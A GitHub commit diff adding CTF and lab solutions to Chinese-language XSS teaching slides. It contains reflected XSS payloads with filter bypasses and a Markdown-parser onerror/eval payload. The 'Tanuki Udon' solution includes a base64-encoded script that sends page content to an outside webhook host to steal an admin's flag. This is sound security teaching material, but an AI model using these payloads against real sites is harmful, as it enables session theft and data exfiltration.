Skip to content
This repository was archived by the owner on Apr 23, 2025. It is now read-only.

Commit bfa1ceb

Browse files
committed
Update cross-site scripting documentation with new examples and challenges, including Abay XSS Labs and Tanuki Udon CTF, along with detailed solutions for each challenge.
1 parent df8f626 commit bfa1ceb

File tree

1 file changed

+67
-3
lines changed

1 file changed

+67
-3
lines changed

pages/cross-site-scripting.md

Lines changed: 67 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -584,7 +584,7 @@ layout: two-cols
584584
```html
585585
<!-- Vulnerable Code -->
586586
<script>
587-
const greeting = `Hello, ${userInput}`;
587+
const greeting = `Hello, ${$userInput}`;
588588
</script>
589589
590590
<!-- Payload -->
@@ -1038,7 +1038,7 @@ layout: two-cols
10381038
- 例如,你可以在元素中添加一些样式,例如:
10391039
10401040
```html
1041-
<style>
1041+
<!-- <style>
10421042
.test {
10431043
position: fixed;
10441044
top: 0;
@@ -1048,7 +1048,8 @@ layout: two-cols
10481048
background-color: red;
10491049
opacity: 0.5;
10501050
}
1051-
</style>
1051+
</style> -->
1052+
<a style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5;"></a>
10521053
```
10531054
10541055
::right::
@@ -1447,3 +1448,66 @@ CSP(Content Security Policy)是一种安全机制,通过白名单的方式
14471448
### 其他资源
14481449
14491450
- XSS Payload备忘录、Fuzzing列表等。
1451+
1452+
---
1453+
1454+
### 靶场:Abay XSS Labs
1455+
1456+
链接:<https://xss-labs.abay.sh/xss/>
1457+
1458+
请尝试完成其中 Level Easy 和 Medium 的题目(目的是 `alert(document.cookie)`)。
1459+
1460+
---
1461+
1462+
#### 题解:
1463+
1464+
- 第一关:
1465+
1. 发现 Submit 按钮点不动,在 DevTools 里面手动把按钮的属性修改为 `type="submit"`
1466+
2. 在搜索处提交任意内容,发现页面中会反射搜索内容,尝试提交 `<script>alert(document.cookie)</script>`,发现成功弹出。
1467+
1468+
- 第二关:
1469+
1. 修 Submit,方法同上。
1470+
2. 在搜索处提交任意内容,发现搜索内容会反射在 `<input>` 的 placeholder 属性中,使用 `"><script>alert(document.cookie)</script>` 即可。
1471+
1472+
- 第三关:
1473+
1. 修 Submit,方法同上。
1474+
2. 在搜索处提交任意内容,发现搜索内容会反射在 `<input>` 的 placeholder 属性中,使用上一关的 Payload 发现 `.` 被过滤。
1475+
3. 使用 `document['cookie']` 绕过。
1476+
1477+
- 第四关:
1478+
1. 修 Submit,方法同上。
1479+
2. 在搜索处提交任意内容,发现搜索内容会反射在 `<input>` 的 placeholder 属性中,使用上一关的 Payload 发现 `alert` 被过滤。
1480+
3. 使用 `"><script>\u0061lert(document.cookie)</script>` 进行绕过。
1481+
1482+
---
1483+
1484+
### 题目:Tanuki Udon (SECCON CTF 13 Quals)
1485+
1486+
请使用以下命令启动题目:
1487+
1488+
```bash
1489+
docker load -i tanuki_udon.tar
1490+
docker run --rm -p 1337:1337 -p 3000:3000 tanuki_udon
1491+
```
1492+
1493+
端口 1337 是模仿管理员行为的 Bot 服务、3000 是题目环境。
1494+
1495+
在 Bot 服务处提交 URL 后,题目环境会进行一些操作,随后加载给定 URL 的页面。
1496+
1497+
请尝试找到服务中存在的 XSS 漏洞,并从管理员处窃取 flag。
1498+
1499+
---
1500+
1501+
#### 解题思路
1502+
1503+
Markdown 解析器 Bug:
1504+
1505+
```markdown
1506+
![[aaa](bbb)](src=x onerror=eval.call`${location.search.slice`1`}` a=)
1507+
```
1508+
1509+
这个 Payload 会 eval 搜索参数中的代码,所以可以用来获取管理员和 flag 的 cookies。
1510+
1511+
```text
1512+
http://localhost:3000/note/5a4362181806f95a?eval(atob(`ZmV0Y2goIi8iKQogIC50aGVuKChyKSA9PiByLnRleHQoKSkKICAudGhlbigKICAgIChyKSA9PiAgCiAgICAgIChkb2N1bWVudC5sb2NhdGlvbiA9CiAgICAgICAgImh0dHBzOi8vd2ViaG9vay5zaXRlL2M1YmM5YWFjLWEzOTgtNDg4YS1hODAwLThjYWQ5NzlmOGIwND8iICsKICAgICAgICBlbmNvZGVVUklDb21wb25lbnQocikpCiAgKTsK`))
1513+
```

0 commit comments

Comments
 (0)